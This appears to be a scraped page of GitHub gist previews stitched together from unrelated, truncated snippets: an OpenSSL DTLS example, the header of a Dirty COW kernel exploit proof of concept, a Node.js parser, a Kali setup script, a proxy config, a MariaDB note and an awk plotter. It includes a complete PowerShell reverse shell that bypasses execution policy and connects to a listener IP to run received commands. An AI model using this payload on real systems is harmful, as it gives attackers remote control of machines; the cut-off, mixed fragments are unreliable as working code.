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@roxlu
roxlu / ssl_test2.c
Created March 28, 2014 15:12
Compact example of how to use openSSL with self signed (no password) keys/certificates, DTLS and memory BIOs
/*
Create server/client self-signed certificate/key (self signed, DONT ADD PASSWORD)
openssl req -x509 -newkey rsa:2048 -days 3650 -nodes -keyout client-key.pem -out client-cert.pem
openssl req -x509 -newkey rsa:2048 -days 3650 -nodes -keyout server-key.pem -out server-cert.pem
*/
#include <stdio.h>
/*
* CVE-2016-5195 dirtypoc
*
* This PoC is memory only and doesn't write anything on the filesystem.
* /!\ Beware, it triggers a kernel crash a few minutes.
*
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
*/
#define _GNU_SOURCE
@ohpe
ohpe / RS.ps1
Last active October 14, 2024 19:46
PowerShell Reverse Shell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
@arimai
arimai / dictionary.js
Created March 26, 2018 04:00
Read and parse files using streams in node.js to build a dictionary object mapping word=>frequency.
const fs = require('fs');
const Parse = require('./parser');
//constructor
function CreateDictionary(){
this.dictionary = {};
}
// reads files from directory, wait for files to get parsed and then return dictionary
CreateDictionary.prototype.parseDirectory = function(dirpath){
return new Promise((resolve,reject) => {
@mimura1133
mimura1133 / install.sh
Last active January 29, 2023 21:24
Enhanced Session for Kali Linux.
#!/bin/bash
# Original : https://raw.githubusercontent.com/Microsoft/linux-vm-tools/master/arch/install-config.sh
###############################################################################
# Update our machine to the latest code if we need to.
#
if [ "$(id -u)" -ne 0 ]; then
echo 'This script must be run with root privileges' >&2
exit 1
{
"mode": "patterns",
"proxySettings": [
{
"address": "127.0.0.1",
"port": 8080,
"username": "",
"password": "",
"type": 1,
"title": "127.0.0.1:8080",
@rohsyl
rohsyl / switch_to_mysql_native_password.md
Last active April 14, 2025 16:40
MariaDB switch to mysql_native_password

Switch to mysql_native_password plugin

By default MariaDB use the unix_socket plugin to authenticate users.

But it's easier to use mysql_native_password for dev (and only for dev because it's way less secure).

Get root access

sudo su
@katef
katef / plot.awk
Last active November 20, 2024 23:27
#!/usr/bin/awk -f
# This program is a copy of guff, a plot device. https://github.com/silentbicycle/guff
# My copy here is written in awk instead of C, has no compelling benefit.
# Public domain. @thingskatedid
# Run as awk -v x=xyz ... or env variables for stuff?
# Assumptions: the data is evenly spaced along the x-axis
# TODO: moving average